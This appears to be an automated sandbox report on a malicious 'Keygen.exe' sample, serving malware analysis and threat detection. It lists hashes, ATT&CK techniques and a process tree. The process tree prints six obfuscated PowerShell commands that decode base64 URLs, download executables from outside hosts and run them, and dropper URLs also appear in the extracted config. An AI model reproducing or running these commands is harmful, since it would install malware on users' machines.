e446bd97230671b6e38682ec9f3da7527c18dbd555efc7f27a52d144cf54edcc

Analysis

max time kernel
141s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-12-2024 23:19

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General

Target

Keygen.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb
SSDEEP

24576:uSdQdKdRdOdHdmHBnWs/nROBiGR4+hazer+Vufo/JxBYQ5:hH9DnR1Z+45Ufo/PBL

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
11	1688	powershell.exe
12	1600	powershell.exe
14	1704	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2752	Keygen.exe

Loads dropped DLL 1 IoCs

pid	Process
2264	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1684	powershell.exe
1688	powershell.exe
1600	powershell.exe
700	powershell.exe
1704	powershell.exe
1588	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1144	timeout.exe
2152	timeout.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1688	powershell.exe
1684	powershell.exe
1600	powershell.exe
700	powershell.exe
1704	powershell.exe
1588	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2752	Keygen.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2264	2380	Keygen.exe	31
PID 2380 wrote to memory of 2264	2380	Keygen.exe	31
PID 2380 wrote to memory of 2264	2380	Keygen.exe	31
PID 2380 wrote to memory of 2264	2380	Keygen.exe	31
PID 2264 wrote to memory of 2752	2264	cmd.exe	33
PID 2264 wrote to memory of 2752	2264	cmd.exe	33
PID 2264 wrote to memory of 2752	2264	cmd.exe	33
PID 2264 wrote to memory of 2752	2264	cmd.exe	33
PID 2264 wrote to memory of 2616	2264	cmd.exe	34
PID 2264 wrote to memory of 2616	2264	cmd.exe	34
PID 2264 wrote to memory of 2616	2264	cmd.exe	34
PID 2264 wrote to memory of 2616	2264	cmd.exe	34
PID 2264 wrote to memory of 1480	2264	cmd.exe	35
PID 2264 wrote to memory of 1480	2264	cmd.exe	35
PID 2264 wrote to memory of 1480	2264	cmd.exe	35
PID 2264 wrote to memory of 1480	2264	cmd.exe	35
PID 2264 wrote to memory of 1144	2264	cmd.exe	36
PID 2264 wrote to memory of 1144	2264	cmd.exe	36
PID 2264 wrote to memory of 1144	2264	cmd.exe	36
PID 2264 wrote to memory of 1144	2264	cmd.exe	36
PID 2616 wrote to memory of 1688	2616	mshta.exe	37
PID 2616 wrote to memory of 1688	2616	mshta.exe	37
PID 2616 wrote to memory of 1688	2616	mshta.exe	37
PID 2616 wrote to memory of 1688	2616	mshta.exe	37
PID 1480 wrote to memory of 1684	1480	mshta.exe	38
PID 1480 wrote to memory of 1684	1480	mshta.exe	38
PID 1480 wrote to memory of 1684	1480	mshta.exe	38
PID 1480 wrote to memory of 1684	1480	mshta.exe	38
PID 2264 wrote to memory of 1680	2264	cmd.exe	41
PID 2264 wrote to memory of 1680	2264	cmd.exe	41
PID 2264 wrote to memory of 1680	2264	cmd.exe	41
PID 2264 wrote to memory of 1680	2264	cmd.exe	41
PID 2264 wrote to memory of 448	2264	cmd.exe	42
PID 2264 wrote to memory of 448	2264	cmd.exe	42
PID 2264 wrote to memory of 448	2264	cmd.exe	42
PID 2264 wrote to memory of 448	2264	cmd.exe	42
PID 2264 wrote to memory of 2152	2264	cmd.exe	43
PID 2264 wrote to memory of 2152	2264	cmd.exe	43
PID 2264 wrote to memory of 2152	2264	cmd.exe	43
PID 2264 wrote to memory of 2152	2264	cmd.exe	43
PID 1680 wrote to memory of 1600	1680	mshta.exe	44
PID 1680 wrote to memory of 1600	1680	mshta.exe	44
PID 1680 wrote to memory of 1600	1680	mshta.exe	44
PID 1680 wrote to memory of 1600	1680	mshta.exe	44
PID 448 wrote to memory of 700	448	mshta.exe	46
PID 448 wrote to memory of 700	448	mshta.exe	46
PID 448 wrote to memory of 700	448	mshta.exe	46
PID 448 wrote to memory of 700	448	mshta.exe	46
PID 2264 wrote to memory of 776	2264	cmd.exe	48
PID 2264 wrote to memory of 776	2264	cmd.exe	48
PID 2264 wrote to memory of 776	2264	cmd.exe	48
PID 2264 wrote to memory of 776	2264	cmd.exe	48
PID 2264 wrote to memory of 2260	2264	cmd.exe	49
PID 2264 wrote to memory of 2260	2264	cmd.exe	49
PID 2264 wrote to memory of 2260	2264	cmd.exe	49
PID 2264 wrote to memory of 2260	2264	cmd.exe	49
PID 776 wrote to memory of 1704	776	mshta.exe	51
PID 776 wrote to memory of 1704	776	mshta.exe	51
PID 776 wrote to memory of 1704	776	mshta.exe	51
PID 776 wrote to memory of 1704	776	mshta.exe	51

C:\Users\Admin\AppData\Local\Temp\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\E225.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Users\Admin\AppData\Local\Temp\E225.tmp\Keygen.exe
    Keygen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2752
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E225.tmp\m.hta"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:2616
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1688
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E225.tmp\m1.hta"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1684
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:1144
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E225.tmp\b.hta"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:1680
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1600
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E225.tmp\b1.hta"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:448
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:700
- - C:\Windows\SysWOW64\timeout.exe
    timeout 2
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2152
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E225.tmp\ba.hta"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:776
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1704
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E225.tmp\ba1.hta"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2260
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\E225.tmp\Keygen.exe

Filesize
678KB

MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\E225.tmp\b.hta

Filesize
17KB

MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

Download Submit
C:\Users\Admin\AppData\Local\Temp\E225.tmp\b1.hta

Filesize
17KB

MD5
c57770e25dd4e35b027ed001d9f804c2

SHA1
408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

SHA256
bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

SHA512
ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

Download Submit
C:\Users\Admin\AppData\Local\Temp\E225.tmp\ba.hta

Filesize
17KB

MD5
b762ca68ba25be53780beb13939870b2

SHA1
1780ee68efd4e26ce1639c6839c7d969f0137bfd

SHA256
c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

SHA512
f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\E225.tmp\ba1.hta

Filesize
17KB

MD5
a2ea849e5e5048a5eacd872a5d17aba5

SHA1
65acf25bb62840fd126bf8adca3bb8814226e30f

SHA256
0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

SHA512
d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

Download Submit
C:\Users\Admin\AppData\Local\Temp\E225.tmp\m.hta

Filesize
17KB

MD5
9383fc3f57fa2cea100b103c7fd9ea7c

SHA1
84ea6c1913752cb744e061ff2a682d9fe4039a37

SHA256
831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

SHA512
16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

Download Submit
C:\Users\Admin\AppData\Local\Temp\E225.tmp\m1.hta

Filesize
17KB

MD5
5eb75e90380d454828522ed546ea3cb7

SHA1
45c89f292d035367aeb2ddeb3110387a772c8a49

SHA256
dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

SHA512
0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\E225.tmp\start.bat

Filesize
176B

MD5
68d86e419dd970356532f1fbcb15cb11

SHA1
e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

SHA256
d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

SHA512
3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
6f53739afef3f4f1d495fa949629d7b5

SHA1
436a64f95576df71cb45e5b98dfaff0df923cb7c

SHA256
cff18c2b314bc22a09871280cfd6c6aa0287177fd2cf0443fc310f0728bc66a1

SHA512
5870356e814f79b56304a51cf2cb694e072fbfb5a834277eea1f05177b74274e4cbc8b15a44c4c7b81e3b20aac31f3df96aedec2a09dc5fc1e7f2c594783f3b2

Download Submit
memory/2264-32-0x0000000002050000-0x000000000220C000-memory.dmp

Filesize
1.7MB

Download
memory/2264-206-0x0000000002050000-0x000000000220C000-memory.dmp

Filesize
1.7MB

Download
memory/2752-47-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2752-33-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/2752-34-0x0000000000230000-0x0000000000233000-memory.dmp

Filesize
12KB

Download
memory/2752-226-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/2752-240-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2752-239-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/2752-270-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download